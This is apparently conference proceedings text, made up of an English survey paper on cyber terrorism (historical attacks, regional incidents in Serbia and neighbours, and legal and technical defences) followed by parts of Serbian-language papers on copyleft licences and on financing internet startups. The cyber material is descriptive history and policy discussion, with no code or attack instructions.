In general, a cyber attack represents the use of computer networks in order to attack selected targets. The purpose of these attacks is to prevent proper functioning of targets. Most often, targets are computer systems, servers or network infrastructure. Cyber attacks are based on hacking, computer viruses and malwares, flooding, etc. From the aspect of computer network security, each unauthorized or malicious access to the computer network can be classified as a cyber attack. Malware is computer software designed to gain access, compromise the confidentiality, availability or damage a computer without their owner's knowledge. Attackers secretly feed malicious software into the attacked computer programs or systems in different ways in order to achieve their goals. In flooding attacks central authentication servers of an organization are loaded with a large number of multiple simultaneous authentication requests. The purpose of this attack is server overloading for which Denial of Services (DoS) or Distributed Denial of Services (DDoS) attacks are used. In DoS attack, attackers use one computer and one internet connection in order to flood a server with packets. Packages are TCP or UDP. In order to perform DDoS attacks, computers and many connections are utilized. This is the main difference between DoS and DDoS attacks. Computers that are in use in DDoS attacks are often distributed around the whole world. In many cases these computers are abducted, and such network is known as a botnet [3].

From the perspective of execution, cyber attacks and traditional terroristic attacks can be observed as separate types of crime. From the perspective of perpetrators, these attacks are carried out by the same types of criminals, terrorist activists, and for the same reasons. Some advantages of cyber attacks over traditional terrorist attacks from the perspective of the perpetrators are listed below [2, 4]:

 Organization and execution of cyber attacks require less money than traditional terrorist attacks. From the perspective of equipment, terrorists

must possess personal computer and an online connection. As a substitute for weapons and explosives, terrorists use computer viruses that they deliver via telephone lines, or Internet connections.

- Cyber terrorism perpetrators remain anonymous, which is not the case with traditional terrorism perpetrators. In cyberspace terrorists present themselves as regular Internet users. They use false nicknames for log on details or they log on as unidentified guest users. This kind of web portal access mask terrorists' real identity, and makes tracking almost impossible. Besides online anonymity, there are no physical obstacles in cyberspace that terrorist need to overcome. For example, terrorist do not need to cross borders in order to attack targets in other countries.
- Besides anonymity, the use of computer and Internet provide mobility for the attackers. Based on this, cyber attacks can be performed from anywhere in the world. Mobility provides additional level of security because the attacks can be performed within jurisdictions where the consequences of these actions cannot be addressed by the criminal justice system.
- Attackers are also able to extract far more data digitally than it would ever be possible in the physical world. For example, one gigabyte of data is approximately 4,500 paperback books. Hackers can extract all data by using a computer system within a minute.
- The number of potential targets is much larger and more diverse. Targets of cyber-attacks can be computers and computer networks owned by individuals, government agencies, different companies and corporations, private and government airlines, etc. The large number of computer based systems and computer based services in all aspects of human life and work guarantee that terrorists can find anomalies in the system that can be used as the key points for attacks. The fact that computers coordinate the work of critical facilities shows that it is impossible to eliminate all shortcomings. For example, some of the critical facilities can be electric power grids, emergency services, airline services, nuclear plants, etc.
- Cyber terrorism can be conducted remotely. In practice it means that cyber terrorism requires less people, physical and psychological training for attackers, and less money for travel than

traditional forms of terrorism. This type of organization carries additional benefits such as more convenient ways to recruit and retain followers.

- Cyber terrorism has the potential to affect directly a larger number of people than traditional terrorist methods. The reason for this is that cyber attacks provide greater media coverage in order to spread panic and fear, which is the main goal of many attacks.
- An attack may have much greater consequences than the same one carried out by traditional methods. For example, a traditional bank robber may only be able to hit one or two banks a week, while a cyber attack can target hudreds or even thousands of sites at one go.
- Attacks are conducted at machine speed. A terrorist hacker can write a piece of code that can target multiple sites in minutes. Besides, targeted sites can be located on the servers in different countries. Such attacks cannot be possible in traditional forms of terrorism.
- There is another aspect of cyber threat to be considered the public and media perception of cyber crime. When large financial institutions have been hacked, the media have often apportioned blame to the organizations rather than criminals. This would not be the case in a physical bank robbery.

3. EXAMPLES OF CYBER ATTACKS

In February 2000, cyber terrorists attacked the websites of Amazon.com, e-Bay, Yahoo, and other renowned companies. The web sites were under the DoS attacks for couple of hours. After 2000, DoS attacks were registered in 2002, when thirteen root servers around the world were attacked. The functionality of these servers was to provide road map for practically all Internet communications worldwide. Unlike the attack in 2000, when there was downtime of the servers and websites, the 2002 attack did not cause slowdowns or downtime of the servers.

In July 2009, the United States and South Korea were under a series of coordinated cyber attacks. The targets of these cyber-attacks were websites of major government, financial and news agencies. Registered DDoS based cyber attacks targeted a wide variety of important resources. Some of them were banks, news websites, electronic government services, etc. During the attack, the access to these services was difficult or users were not able to get important information [5]. The number of hijacked computers for the purpose of this DDoS attack included 50,000, 20,000 and 166,000 computers from Symantec's Security Technology Response Group, National Intelligence Service and Vietnamese computer security researchers respectively. Such a number of hijacked computers are a testament to how serious these attacks can be.

In 2012, a modular computer malware named Skywiper or Flamer was used in attacks on computer systems in Middle East countries. Microsoft Windows was the installed operating system on the attacked computers. The malware spread through the computer systems and infected them via the usage of the local computer network or USB stick. In this attack over 1,000 machines were infected. Infected machines belonged to individuals, educational institutions, and government organizations. It was discovered that the malware was used for the purpose of espionage. Malware was design to record sound, including keyboard activity, screenshots, network traffic, even Skype conversations.

In 2010, Iranian nuclear facility in Natanz was infected by cyber worm named Stuxnet. The task of the worm was to destroy Tehran 1000 nuclear centrifuges. The worm spread through the network and infected more than 60,000 computers. Iran atomic program was compromised and set back for at least two years. The Iranian government believed that the attack was carried out by the Israeli and American computer experts hired by their governments, but there was no evidence for such an assertion.

In 2012, a number of cyber attacks were directed against computer networks in United States, countries in the Gulf Arabs (Qatar, Saudi Arabia), and Israel. In these attacks systems in a number of attacked banks were hacked. The Iranian government has been accused of carrying out the attack because it was believed that it was a response to the US cyber attack on Iran in 2010.

In 2007, a grocery retailer named Hannaford Bros was subjected to cyber attack. The attack was carried out by Albert Gonzales. In this attack more than 4.2 million credit and debit card numbers and other personal client data were stolen. A group of hackers led by Albert installed computer malware instead of databases on servers owned by the company.

After the attack, stolen account numbers and documents were auctioned at the Shadowcrew.com website. A year later, in 2008, the trusted payment processor Heartland Payment Systems lost more than 140 million dollars in damages incurred by the phishing attacks organized by Gonzales. In these attacks over 100 million individual card numbers were stolen. Heartland's motto and reputation were compromised too, which led to even greater consequences and losses. For these and other similar crimes Gonzales was found guilty and sentenced to 20 years in prison.

In 2006 and 2008, the International Olympic Committee, United Nations, 70 other businesses, defense contractors, and organizations were attacked. This attack was known as Operation Shady Rat, and it was assumed that the People's Republic of China was responsible.

In 2011, Playstation Network and Sony Online Entertainment were under cyber-attacks. In these attacks, 77 million user accounts were stolen. Private user data, credit and debit card information were stolen too. Total estimated damage was between one and two billion dollars. These two corporations were under attack for 24 days. During that period perpetrators were able to log on to the system and compromise data.

In 2004, computer networks in NASA, Lockheed Martin, Redstone Arsenal, Sandia National Laboratories, and several other facilities were attacked. These attacks were part of the cyber attack named "Titan Rain". Titan Rain has been one of the largest cyber attacks ever. Besides compromising the military system and confidential data, the attack had another dangerous side. Perpetrators created open space or so called backdoors for other hackers and espionage entities to infiltrate into these systems.

In 2007, the Estonian government websites were attacked in one of the most serious cyber attacks after Titan Rain. Attackers applied a number of different techniques in order to take down websites. Ping floods and botnets are just some of the applied techniques. The complexity of the used cyber methods pointed to the fact that the Russian government may be behind the attacks.

In 1999, a virus named Melissa, created 80 million dollars damage to companies in North America. The virus used Microsoft Outlook address book on infected computers to mass mail itself to the first fifty addresses. Besides, a virus created backdoor for other mass email worms including The Love Bug, Anna Kournikova, and MyDoom [6].

In 2000, the virus named ILoveYou shut down email accounts for millions of computers worldwide in a couple of hours. Total economic damage for the attacked business companies was between 6 and 10 billion dollars [7].

In 2000, the Japan's Metropolitan Police Department discovered that created software system for police vehicles tracking, including unmarked cars, was used by Aum

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Shinryko cult. The cult had received classified tracking data on 115 vehicles since the beginning of espionage. The same system was built by Aum Shinryko cult as a subcontractor to another company. Further investigation found that the cult worked as a subcontractor to other firms. They developed various types of software for eighty Japanese companies and ten government agencies. The fact that they worked as subcontractors to other firms ensured their anonymity in organizations for which the software was created. Thus, all created software was compromised because there was possibility that the cult had installed Trojan horses into the system in order to launch or facilitate cyber terrorist attacks afterwards [2].

The United States military technicians discovered structural and engineering software, electronic models of a water dam, information on computer based water systems, nuclear power plants, and the U.S. and European stadiums in Qaeda computers which were found during the war in Afghanistan. The information shows that cyber space was used for research, communication and coordination of possible traditional attacks. These records show that it is possible to notice the connection between physical and cyber attacks.

4. REGISTERED CYBER-ATTACKS IN SERBIA AND FORMER YUGOSLAV REPUBLICS

Serbia is not immune to cyber threats, as any other co 0 on Serbian websites, including the website of the president of Serbia, and several ministries [8]. Most visible attacks are deface attacks, but there are also DoS attacks and DDoS attacks going on.

In 2014, the websites of the Serbian official institutions and the media were victims of DDoS attacks. Attacks were launched after the incident at a football match with Albania, and caused all but one Serbian news media website and associated servers to go offline [9]. The websites were unavailable for several hours. In those attacks, personal data of millions of the Serbian citizens were stolen from the database of Serbian Business Register Agency. Beside personal data, e- mails of the Interior Ministry officials were taken over [10].

In 2014, the DD4BC group of Bosnian hackers was discovered. They launched cyber attacks against a number of regional news portals, such as "buka.com," "istinito. com," "e- novine," "federalna.ba," "fena.co.ba," "kurir. rs", and "blic.net." First they launched short preliminary DDoS attacks, and then demanded payment in the virtual currency Bitcoin. If the victim refused, DD4BC would launch longer and more extensive DDoS attacks [11]. It was determined that the DD4BC group was also developing software intended for the exploitation of weaknesses of digital Bitcoin wallets in order to steal Bitcoins.

In 2017, the websites of the Montenegrin government and several state institutions, as well as some pro-government media, have been targeted and the cyber-attacks are on the increase [12]. Over 200 attacks on websites, state institutions, online fraud and misuse of personal accounts were reported in 2016, compared to only six attacks in 2012. The severity and sophistication of cyber-attacks affecting Montenegro during 2016 were reflected in the increased number of identified attacks on infrastructure and cyber espionage cases, as well as through phishing campaigns which targeted civil servants.

In 2012, the official NATO Croatia site was hacked and defaced by two members of TeaMp0isoN, TriCk, and Phantom. Besides defacing the site, they leaked logs dated between 2010 and 2012 to show that the breached server was being utilized. Their message written on the NATO website was seen by 20,000 people [13].

In 2015, the Croatian Telekom, one of leading providers of mobile telecommunication services in Croatia suffered a cyber attack. The problem was technically solved in ten hours, but during that period users were also affected. There were no data on how user data was compromised [14].

All of the mentioned examples testify to great threats posed by cyber terrorism. As we can see from the registered cyber attacks in Serbia and neighboring countries, severity of attacks is lower than in developed countries around the world. This can be discussed from two perspectives. First, our region has not been susceptible to cyber attacks, which is really encouraging. Second, our defense mechanisms are at a very low level so that the attacks remain unnoticed or companies do not report situations of possible cyber attacks in order to preserve the reputation.

5. TECHNICAL AND LEGAL ASPECTS OF CYBER SECURITY

Cybercrime has been present in the society for a long time in different forms. But, at today's level of development of the virtual dimension, it poses a constant and growing threat to the development and economic prosperity of every modern state. That is why countering cybercrime is also considered a priority cyber security area. Thus, it is necessary to define strategic goals to improve the efforts in countering this type of crime in the years to come. There are two basic technical strategies for critical systems protection. The first strategy is defending the system from the internet risks while the system stays online. The second strategy is air gapping the system and the general networks, that is, a disconnection of such critical systems from the internet entirely by the authorities. A good example is the US government security mechanism named Einstein. This mechanism guards the US government computers and networks. It is designed to provide real time monitoring of possible intrusion in government computer network. In order to provide better security, this mechanism is connected with the Department of Homeland Security and the National Security Agency.

The adoption of the key documents such as strategies, action plans, conventions and other legal documents is the right approach and action framework of each country in order to solve this problem. The main goal of these documents is to provide enough information for different organizations on how to prevent cyber terrorism and deal with particular attacks. Fast technological development creates the gap between the uses of computer based systems and current law regulative in this area. Legal regulations should be created in order to cover new concepts such as cyber security and cyber crime. Some new concepts and objects are computer data, too. Computer data as new objects are not addressed by traditional legal regulations. Laws on technical developments are focused on physical objects around which daily life of industrial society is based. Many traditional laws applied in practice do not take into consideration importance of information and information technology that are associated with cyber crime and other forms of crimes which create electronic trace as evidence [15]. Many countries have elements of the legal enabling environment addressing cyber security and cybercrime, but these national legal frameworks vary widely in terms of the manner in which these issues are addressed. In today's globalized world, national, regional and international legal systems are intertwined [16]. They overlap between legal systems sometimes leading to collisions, and create jurisdictional gaps. In the cases of international cyber terrorism, gaps can lead to acquittal. In order to prevent the gaps each country need to harmonize cybercrime laws. The final goal is new law which can be based on single national approach or common legal acts identified in legal systems of other countries. This law, for example, can be expressed within a multilateral instrument.

6. CONCLUSION

Information and communication technologies incorporated in different infrastructures are essential for functioning. These computer based systems represent critical infrastructure sector suitable for different types of attacks. Recently, the cyber attacks have become a common threat to such systems. Well- organized attacks could produce huge damage. Damage can range from economic losses to human casualties.

In order to prevent cyber attacks or to reduce their severity, identification of critical communication and information infrastructure, and prescription of mandatory technical and organizational measures including procedures of reporting computer security incidents need to be carried out in a coordinated manner by central state bodies responsible for certain critical infrastructure sectors, critical infrastructure owners/operators and competent technical and security-related state authorities. Only if all institutions collaborated, the level of cyber security could be increased.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

INTERNET AND DEVELOPMENT PERSPECTIVES

COPYLEFT LICENCE I RAZVOJ PRAVA INTELEKTUALNE SVOJINE

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Moderne tehnologije su u velikoj meri uticale i promenile živote ljudi. Današnji svet je neprepoznatljiv u poređenju sa svetom od pre trideset godina, upravo zahvaljujući ekspanzivnom razvoju savremenih tehnologija. Svet je danas mnogo više povezan predstavljajući globalno selo u kome se komunikacija mnogo lakše i brže odvija. Znanje i pristup informacijama u velikoj meri su olakšani. Savremene tehnologije izvršile su veliki uticaj na kulturni sektor tako što su sada informacije dostupne svima i u svako doba. Tekstualni dokumenti, muzičke numere, slike, video zapisi i ostali oblici digitalnih kulturnih dobara dostpuni su svima posredstvom internet mreže. Književna dela poput knjiga i časopisa transformišu se u kiber prostoru jer mikroprocesor i internet dozvoljavaju korisnicima da slobodno umnožavaju, menjaju i dele radove koji se nalaze u elektronskim medijima.

Stvaraoci mnogih dela su se od davnina služili korišćenjem postojećeg materijala u stvaranju novog. Ovo ukazuje da je "kulturna baština važan resurs za razvoj kreativnosti u informacijskom društvu" [2]. Zato je od velikog značaja slobodan pristup različitim kulturnim dobrima poput knjiga, slika, muzičkih numera i softvera u smislu nastanka i izgradnje novih dela i u ovome je uloga i značaj kopilefta ogroman.

Iako je početak razvoja interneta obeležen slobodnom razmenom informacija, vremenom je ta sloboda suočena sa brojnim izazovima zbog "sve prisutnijih struktura kontrole vlasništva nad elementima digitalnih dobara" [2]. Vlasnici autorskog prava vrlo često nisu pojedinci, nego velike kompanije i korporacije kojima digitalna tehnologija omogućava veću kontrolu nad tržištem kulturnih dobara posredstvom kojeg uvećevaju svoj profit. Kao primer spomenućemo početak 1980-ih godina koji je obeležila ekspanzija širenja vlasničkog softvera kao rezultat konkurencije među proizvođačima softvera. Pokret za slobodni softver Ričarda Stalmana upravo je i formiran kao reakcija na privatizovanje softvera. Stalman je smatrao da prava, kada je u pitanju slobodan softver, treba da budu ustupljena celokupnoj zajednici, a ne da odgovaraju intresima pojedinaca i njihovom profitu.

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Fondaciju za slobodan softver Ričard Stalman je osnovao 4. oktobra 1985. godine, sa ciljem da podrži pokret slobodnog softvera koji promoviše univerzalnu slobodu studiranja, distribuiranja, kreiranja i prerade računarskog softvera. FSF (Free Software Foundation) je neprofitna organizacija sa globalnom misijom da promoviše slobodu računarskih korisnika, kao i da brani prava svih korisnika slobodnog softvera.

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Kakva je budućnost autorskog prava? Postoje tri moguća scenarija kada je u pitanju budućnost autorskog prava. Prema prvom scenariju autorsko pravo prevladaće digitalnu kulturu, a kombinacija pojačanih zakona o autorskom pravu i međunarodnih sporazuma konačno će omogućiti industriji autorskog prava da uspostavi kontrolu nad digitalnim sadržajem i samim tim uguši digitalnu kulturu; prema drugom scenariju digitalna kultura će se uspešno smestiti unutar postojećeg okvira autorskog prava; prema trećem digitalna kultura neće biti sadržana u starom režimu autorskog prava i samim tim će dovesti do promena u autorskom pravu.

Pored kopilefta, sa jedne, i autorskog prava, sa druge strane, da li možemo govoriti o novom, trećem načinu proizvodnje i distribucije digitalnih radova, odnosno da li se može pronaći novi način upravljanja intelektualnom svojinom u skladu sa razvojem digitalnog okruženja? S obzirom na to da živimo u eri digitalne tehnologije i da se povećava broj radova u digitalnom okruženju, neophodno je uzeti u obzir mogućnost formiranja trećeg puta – između autorskog prava i kopilefta.

Vilijam Fišer (William Fisher) razmatrao je tri alternativne mogućnosti promena u sistemu upravljanja intelektualnom svojinom. "Prvi predstavlja sistem prinudne naplate koji bi počivao na registraciji radova i dodeli jedinstvenog digitalnog imena datoteke; druga opcija je zasnovana na priznanju da je autorsko pravo pravo svojine koje treba sagledavati iz ugla zakona; treća mogućnost je da se na industriju zabave gleda kao na javno dobro i uvođenje zakona sličnih onima koji regulišu industrije kao što su telefonske kompanije".

Razvoj i napredovanje digitalnih tehnologija nemoguće je zaustaviti i upravo iz tog razloga kopileft pokreti i kopileft licence imaju sve veći značaj. Međutim, uprkos jačanju kopilefta ne možemo govoriti o nestanku autorskog prava u budućnosti. Svaki pojedinac treba da ima slobodu u određivanju da li će svoj rad zaštiti autorskim pravom (*copyright-protected*) ili će ga osloboditi autorskog prava (*copyright-free*). Nemogućnost biranja jedne od dve opcije značila bi kršenje ljudskih prava – prava slobodnog korišćenja ili odobravanja drugim korišćenja svoga dela.

Razvoj kopilefta prati razvoj modernih tehnologija i prilagođava se njihovom razvoju. Ideja kopilefta i zalaganja za slobodni softver imaju veliku važnost u eri moderne tehnologije. S obzirom na prilično masovnu proizvodnju softvera, od velike je važnosti postojanje slobode da se određeno delo može dalje menjati i nadograđivati bez bojazni od kršenja autorskog prava. Postojanje kopileft licenci ima veliki značaj za napredak modernih tehnologija jer omogućava pojedincima da slobodno ispolje svoju kreativnost i tako doprinesu razvoju društva. Možemo zaključiti da će ideja kopilefta i zalaganje za slobodni softver imati važnu ulogu u razvoju modernih tehnologija, posebno interneta, kao i u razvoju prava intelektualne svojine u budućnosti. Izazovi kopileft pokreta u budućnosti su veliki, ali oni neće dovesti u pitanje opstanak i funkcionisanje samog pokreta i njihovih najvažnijih načela.

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COPYLEFT LICENSES AND THE DEVELOPMENT OF INTELLECTUAL PROPERTY RIGHTS

Abstract:

The emergence of the Internet has greatly changed the usage of copyright works. Bearing in mind that a large number of works are widely available and distributed on the Internet, the term of copyright is increasingly being disputed, and an increasing number of works is being protected by copyleft licenses. Main principle of copyleft is the right to free access to knowledge, namely the right of everybody to freely use, rearrange and distribute certain work. The concept of copyleft is a relatively recent concept that requires a more detailed analysis, especially considering the fact that the small number of people in our region is familiar with it. The main objective of our research is to introduce the concept of copyleft, copyleft movement and the copyleft license, as well as the impact of the digital environment on their development.

Keywords:

Internet, copyright, copyleft, license, movement.

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INTERNET AND DEVELOPMENT PERSPECTIVES

FINANSIRANJE INTERNET KOMPANIJA: OD STARTAPA DO IZLASKA NA BERZU

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Rezime:

Ovaj tekst objašnjava razvoj internet startap firmi i načine njihovog finansiranja po fazama razvoja, od početnog finansiranja pri osnivanju startapa, do finansiranja u zreloj fazi koje se odvija preko inicijalne javne ponude akcija i izlaska na berzu. Finansiranje ovih kompanija nosi izuzetno visok rizik, ali njihov uspeh donosi izuzetno visoke zarade, i za osnivače, i za finansijere. U ovom prostoru između ekstremno visokog procenta bankrotstva i ekstremno visokih zarada, smešteni su modeli njihovog finansiranja. Uslov razvoja internet kompanija je postojanje jakog ekosistema u kojem je ostvaren uspešan spoj kvalitetnog obrazovanja, preduzetničkog duha i rizičnog kapitala. Za Srbiju, koja se nalazi u početnim fazama razvoja ove vrste preduzetništva, najvažnije je raditi na stvaranju takvog ambijenta.

Ključne reči:

internet, startap, rizični kapital, berza.

1. UVOD

Budućnost sveta u kojem živimo određena je internet ekonomijom koja se bazira na digitalnoj računarskoj tehnologiji, zbog čega se nova ekonomija koja je u nastanku i koja će obeležiti procese u budućnosti često naziva i digitalna ekonomija. Tradicionalna ekonomija je neodvojivo povezana sa digitalnom, i u praksi se i ona svakog dana sve više transformiše. Zbog svega toga, razumevanje procesa koji se dešavaju je od ključne važnosti za budućnost ekonomije svake zemlje. Najpoznatije internet kompanije koje u velikoj meri već sada određuju globalne pravce razvoja i presudno utiču na sve društvene procese, skoro sve su prošle put od startap kompanija do izlaska na velike svetske berze. Na tom razvojnom putu nije bilo mesta za tradicionalne oblike finansiranja, kao što su klasični bankarski krediti. Osnovni razlog tome je izuzetno visok stepen rizika koji je razvoj ovih kompanija nosio u početnim fazama nastanka, uz ekstremno visok procenat bankrotstva. Stoga svaki investitor koji se pojavi u ovoj oblasti mora biti sklon prihvatanju izuzetno visokih rizika, ali kao kompenzaciju očekuje izuzetno visoke stope prinosa na uloženi kapital. Ako se uspeh dogodi to znači da je investitor podržao pravu ideju, ljude i biznis model.

Predmet istraživanja ovog rada su načini finansiranja internet kompanija po fazama razvoja, od početnog finansiranja pri osnivanju startapa do finansiranja u zreloj fazi preko inicijalne javne ponude akcija i izlaska na berzu. U fokusu istraživanja bile su 10 najvećih internet kompanija koje su na najvećoj svetskoj berzi – Njujorškoj berzi i na najvećoj berzi specijalizovanoj za nove tehnološke kompanije – NASDAQ. U novom milenijumu globalni uticaj internet kompanija raste, njihova vrednost na berzama izražena kroz tržišnu kapitalizaciju u stalnom je usponu, a od 5 najpoznatijih svetskih brendova, od tradicionalnih industrija samo je Coca Cola uspela da zadrži svoje mesto, dok su ostale 4 kompanije zasnovane na internetu: Google, Facebook, Apple, eBay. Poslednjih godina velike prodore prave i kineske firme, za šta je najbolji primer Alibaba group, koja je ostvarila najveću inicijalnu javnu ponudu (IPO) svih vremena na Njujorškoj berzi.

Cilj istraživanja je da utvrdi koji su uslovi potrebni da bi se razvile ove kompanije, što je preduslov za davanje odgovora na pitanje: kako podstaći razvoj digitalnih kompanija u pojedinim zemljama i šta bi svaka zemlja morala da uradi da bi svoj razvoj usaglasila sa svetskim tehnološkim razvojem? Istraživanje je obuhvatilo nastanak i razvoj 10 najvećih tehnoloških kompanija na Njujorškoj berzi i NASDAQ-u, uz kreiranje vremenskih serija koje povezuju faze njihovog nastanka i razvoja, sa podacima o kretanju cena na berzi i podacima o njihovom poslovanju.

Osnovna hipoteza rada je da finansiranje razvoja internet kompanija kao ekstremno rizično traži nove, specifične modele finansiranja, zasnovane na finansiranju rizičnim kapitalom.

2. NAJVEĆE TEHNOLOŠKE KOMPANIJE KOJE SU NASTALE KAO STARTAP

Pojam startapa se vezuje pre svega za preduzeća nastala u oblasti novih tehnologija. Definicije ovog pojma su različite, ali svaki startap ima određene zajedničke karakteristike. On uvek nastaje iz ideje i želje jednog ili više osnivača da reše određene problem čije rešenje nije očigledno, niti je uspeh zagarantovan. Poznati časopis Forbs navodi različite definicije ovog pojma koje su u njegovom istraživanju dali razni poznati osnivači startap kompanija koje su kasnije zabeležile veliki uspeh [1]. Tako jedan od osnivača kompanije Homejoy, Adore Cheung, kao osnovna obeležja startapa navodi stanje svesti, kada osnivači osnuju kompaniju kojoj se ljudi pridružuju žrtvujući izvesnost i stabilnost u zamenu za obećanje ogromnog rasta i uzbuđenja što će takva firma napraviti veliki uticaj u svetu. Mada postoje uspešni primeri startapa u raznim oblastima, ipak se taj pojam danas vezuje za brzorastuće tehnološke kompanije koje pretenduju na globalno tržište, jer samo tako i osnivači i finansijeri mogu ostvariti dovoljno visok rast i prinose da bi kompenzirali rizike ulaganja vremena, energije i novca. Zato ove kompanije moraju biti dizajnirane da ostvaruju rast na globalnom tržištu vrlo brzo, što znači da ne mogu biti ograničene geografskim prostorom.

Sve vodeće svetske internet kompanije nastale su na bazi inicijalnih ideja njihovih osnivača, koji su započinjali svoj posao u malim prostorima, najčešće garažama. Nakon dobijanja prvog proizvoda, koji je verifikovan u smislu posedovanja korisnosti i tržišnog potencijala, nastupala je potraga za investitorom koji će finansirati projekat, obično u zamenu za deo vlasništva buduće kompanije kada njen proizvod postane isplativ na tržištu. Najčešće su finansijeri bili veliki individualni investitori specijalizovani za ulaganja u tehnološke kompanije, ili pak drugi investitori specijalizovani za ulaganja rizičnog kapitala (*venture capital*), kao što su investicioni fondovi i biznis anđeli.

Osnivači internet startapa su inženjeri i informatičari kojima su u fokusu inovacije i kreiranje novog originalnog proizvoda, a ne kontrola finansijskog rezultata i budžeta. To, međutim, dodatno podiže rizičnost ulaganja, jer su inovatori fokusirani na inovaciju i proizvod, a kontrola troškova, budžeta i finansijskog rezultata im nije prioritet. To najbolje objašnjava nemački ekonomista i pisac Kristof Keze [2]. Ekonomisti su, po njegovom mišljenju, naučeni da razmišljaju isključivo u ekonomskim kategorijama. Oni pokušavaju da sa što manje napora postignu što veću dobit. Novim proizvodima stoga daju minimalnu prednost, a zatim se pokrenu svi marketinški mehanizmi da bi se ta minimalna prednost pokazala kao neverovatno velika u odnosu na konkurentske proizvode. Zagriženi inženjeri ili prirodnjaci polaze pak od sasvim drugačijeg stanovišta. Njih vrlo malo zanima ekonomija, već ih fascinira proizvod kao takav. Oni žele da pronađu optimalno rešenje te stoga razmišljaju samo o proizvodu, a ne o troškovima, budžetu i finansijskom rezultatu. Ubeđeni su u ono što rade i puni prezira prema Volstritu, koji je iz njihovog ugla simbol sveta kojim upravljaju ekonomisti. Stiv Džobs, legendarni osnivač firme Apple, čak je od uprave u jednom trenutku dobio otkaz jer je trošio previše novca na, za upravu, nerazumne stvari, a radilo se zapravo o Mekintošu, jednom od kasnijih najvećih uspeha firme.

3. NOVE FORME FINANSIRANJA INTERNET KOMPANIJA

U novije vreme ubrzano se razvijaju poslovni inkubatori i akceleratori, a najnoviji mehanizam finansiranja su poslovne internet platforme koje treba da olakšaju raznim formama rizičnog kapitala da ulažu u startap povezujući investitore i preduzetnike. Razvijaju se i različiti oblici veza između investitora i preduzetnika kroz takozvano masovno finansiranje (crowdfunding). Uviđajući potrebu da se i ova oblast što više uredi, a da se rizici za takozvane nekvalifikovane investiture umanje, u SAD je 2012. godine Securities and Exchange Commission (SEC), donela takozvani JOBs Act (Jumpstart Our Business Act) [3] koji i simbolično asocira na velikog osnivača firme Apple Stiva Džobsa, ali i na finansiranje kreiranje novih poslova za mlade ljude. Ovim aktom SEC kao regulator tržišta uređuje pravila za emitovanje akcija za prikupljanje kapitala startap firmi, objavljivanje i transparentnost podataka, registrovanje, uslove pod kojim se to prikupljanje kapitala obavlja, kao i maksimalne iznose koje startap firme mogu na ovaj način da prikupe, (million USD godišnje). Pojedinci, izuzev profesionalnih investitora, mogu da plasiraju najviše 2.000 USD, ili maksimalno 5% ako imaju godišnje prihode do 100.000 USD, ili 10.000 USD ako imaju godišnje prihode iznad toga (član III Uredbe). Na taj način štite se obični mali investitori od preuzimanja prevelikog rizika, dok ograničenja ne važe za profesionalne investiture koji mogu na razne načine finansirati firme u koje veruju, do iznosa koji ispregovaraju sa osnivačima. Za njih se pretpostavlja da su dovoljno edukovani i svesni preuzetog rizika. Osnivanjem onlajn platformi za finansiranje startapa i uređivanjem uslova i načina finansiranja, finansiranje startap biznisa postalo je znatno lakše i za preduzetnike i za investitore. Startap firme postavljaju na platformu detalje oko svog projekta, daju podatke o timu koji realizuje projekat, kratak rezime biznisa i detalje oko plana finansiranja. Preko platforme se mogu tražiti i profili potencijalnih zaposlenih koji su im potrebni. Investitori najčešće daju novac u zamenu za određeni udeo u vlasništvu. Trenutno najveća platforma Startups.co ima oko 300.000 firmi članova i 20.000 investitora [4] koje povezuje na različite načine, nudeći i usluge konsultanata koji će pomoći mladim preduzetnicima koji imaju perspektivne ideje.

Kod investiranja u startap firme mora se, međutim, imati u vidu da najveći broj pokrenutih biznisa doživi neuspeh. U najzastupljenijoj oblasti koja se tiče internet marketinga, prema raznim istraživanjima koja se mogu naći, najčešće se pominje da 90% startap firmi bankrotira. Predstave o uspehu koje mladi ljudi koji najčešće ulaze u ove poduhvate imaju, a koje su vezane za fleksibilnost i trajanje radnog vremena, lakoću ostvarivanja zarada i primamljivost takvog načina života, jesu pogrešne. Svi koji su uspeli to su uradili zahvaljujući izuzetnom radu, talentu i posvećenosti cilju koji žele da postignu, uz velike žrtve na polju ostalih segmenata života. To naročito važi za zaposlene u najpoznatijim svetskim firmama u Silicijumskoj dolini gde je sve podređeno uspehu biznisa, čak i kada on uđe u zrelu fazu.

4. INICIJALNE JAVNE PONUDE INTERNET KOMPANIJA

Od osnivanja kompanije do njenog izlaska na berzu ona mora da prođe kroz različite faze rasta i razvoja. Svaka od tih faza života i poslovanja ima odgovarajuću pravnu formu, način finansiranja i upravljanja. Mnoge firme nastale su kao male, sa jednim osnivačem ili nekoliko ortaka. Za osnivanje im je poslužio sopstveni kapital, pozajmice poznanika i rođaka i krediti namenjeni tzv. startap biznisu [5]. Inicijalna javna ponuda (Initial Public Offering -IPO) je kada firma prvi put izlazi sa emitovanjem akcija i javno ih nudi svim potencijalnim investitorima. To se obično dešava kada privatna firma dostigne određeni stepen razvoja i zadovolji zahteve postavljene od strane regulatora, zatim se emisija registruje u komisiji za hartije od vrednosti, izlože se svi traženi podaci o njenom poslovanju i po prvi put emituju akcije. Emitovanje akcija startap firmi od 2012. godine olakšano je donošenjem već pomenutog JOBS akta, kojim su za te firme znatno ublažene procedure, umanjen obim potrebnih podataka i uslovi koje treba ispuniti.

San svakog osnivača startapa je da pređe put od inicijalne ideje do inicijalne javne ponude akcija i izlaska na berzu. Uspeh javne ponude akcija predstavlja verifikaciju uspeha i dotadašnjeg razvoja firme. Javna ponuda akcija omogućava da se prikupi potrebni kapital za dalji razvoj, bez obzira o kom obimu sredstava se radi. Investitora ima mnogo, a jedino što je bitno jeste njihovo poverenje i očekivanje da će se kompanija uspešno razvijati i rasti, što će dovesti do rasta cene njenih akcija u budućnosti. Njihovim osnivačima, kao i dotadašnjim finansijerima, izlazak na berzu najčešće znači da su nakon tog čina postali veoma bogati jer se vrednost njihovog dotadašnjeg ulaganja kroz rast akcija multiplikuje. Tako je i nastala pojava da osnivači najpoznatijih tehnoloških kompanija već u dvadesetim i tridesetim godinama postaju milijarderi. Na ovaj način odlučujući skok na tržištu ostvarile su skoro sve najpoznatije internet kompanije, prelazeći put od startapa do izlaska na berzu.



Izvor: https://www.statista.com

